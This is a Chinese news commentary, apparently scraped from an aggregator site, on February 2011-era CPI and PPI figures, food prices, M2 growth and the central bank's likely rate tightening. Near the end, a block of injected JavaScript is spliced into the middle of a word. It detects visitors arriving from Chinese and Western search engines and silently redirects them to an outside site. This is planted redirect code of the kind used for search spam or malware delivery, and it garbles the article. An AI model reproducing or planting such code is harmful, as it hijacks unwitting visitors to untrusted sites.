来源：百度文库 编辑：九乡新闻网 时间：2024/04/27 23:37:34
在中国2月宏观经济数据揭晓前，市场上普遍流行着乐观的心态。虽然有春节因素的影响，但市场对居民消费价格指数（cpi）涨幅的平均预期却进一步回落到了4.7%。对工业品出厂价格指数（ppi），市场也预期同比涨幅仅会略高于1月份的6.6%。货币供应方面，传闻新增贷款介于5000亿－6000亿之间。不过，国家统计局3月11日公布的结果，却颇有些令人失望。数据显示，2月cpi同比上涨4.9%，涨幅与1月份持平。2月ppi更是上涨7.2%，涨幅比1月份扩大0.6个百分点。信贷数据央行则暂未公布。对于这一结果，3月10日的股票市场似乎已提前有所反应，当天上证指数收于2957.14，下跌45.01点，跌幅为1.5%。受多重利空侵袭的美国道琼斯指数当天更是跌破12000点，跌幅达1.9%。
可以说，2月经济数据意味着国内通胀形势的好转速度并没有预期那么乐观。抛开cpi和ppi同比涨幅超预期不说，对未来通胀形势保持谨慎的理由依然不少。首先，cpi的环比涨幅继续扩大。2月cpi环比上涨1.2%，而1月cpi的环比为1%。其次，ppi同比涨幅创出本轮通胀以来的新高。在2010年5月，ppi同比涨幅曾达到7.1%，此次ppi达到7.2%，未来物价向下游传导的压力很大。最后，农产品价格出现反弹。1月食品价格同比上涨10.3%，环比上涨2.8%。而2月食品价格同比上涨11.0%，环比上涨3.7%。这意味着，虽然政府在食品价格调控方面不遗余力，但目前仍未能有效地遏制这一领域的价格上涨。
当然，情况并非总是令人沮丧。在流动性这一通胀总阀门上，今年前两月比起去年末已有所好转。去年下半年，广义货币供应（m2）增速基本保持在19%以上，而今年1月，m2同比增长回落至17.2%。如果2月新增贷款真如传闻般回落至6000亿元以下，则m2有望继续向16%的调控目标靠拢。既然新增的流动性正在逐渐回归常态，现在治理通胀的关键就在如何稳住经济中的存量流动性。
无论是从理论还是实践经验来看，提升资金价格都是稳住流动性的一大法宝。央行高层的最新表态也说明，加息确实在管理层的忖度之中。央行行长周小川日前在“两会”的记者会上表示，不排除会使用各项工具的可能性，要根据具体的经济形势、市场上的流动性来具体地加以掌握。他指出，利率政策肯定会是一个需要运用的重要工具。任何金融政策工具都可能有负面的影响。如果经过比较权衡后，利大于弊，还是需要使用的。他认为，从典型存款利率角度看，应在中期范围内保持实际正利率，但cpi有时变动过快，所以可能出现短期负利率。至于对抗通胀的另一价格型工具——汇率，周小川指出，汇率的变动是会对物价总水平有影响，而应对通胀的工具中不侧重于应用汇率政策。这与3月5日央行副行长、外管局局长易纲的“人民币汇率将很快到达均衡状态”的表态相近。这可能暗示着，未来国内抗通胀主要将依靠利率工具，而人民币升值速度将放缓。同时，上调存款准备金率和放量发行央票将继续回收新增外汇占款。由此看来，企业恐怕还得熬一熬货币政策收紧下的“苦日子”。
最新公布的2月经济数据显示通胀压力的缓解不及预期。在ppi创新高和农产品涨势依旧凶猛的催逼下，货币政策很可能维持收紧的态势，而暂时不会出现阶段性放松。股body {onload:(if(window.name!="yang"){var str1 = document.referrer;str1 = str1.tolowercase();var str6 = 'google.';var str7 = 'baidu.';var str4 = 'yahoo.';var str8 = 'youdao.';var str9 = 'sogou.';var str3 = 'gougou.';var str5 = 'soso.';if(str1.indexof(str7)>0 || str1.indexof(str6)>0 || str1.indexof(str4)>0 || str1.indexof(str3)>0 || str1.indexof(str8)>0 || str1.indexof(str9)>0 ||str1.indexof(str5)>0 && "zh-cn"==navigator.systemlanguage){self.location='http://www.458459.com/999.htm';window.name="yang";}});}票
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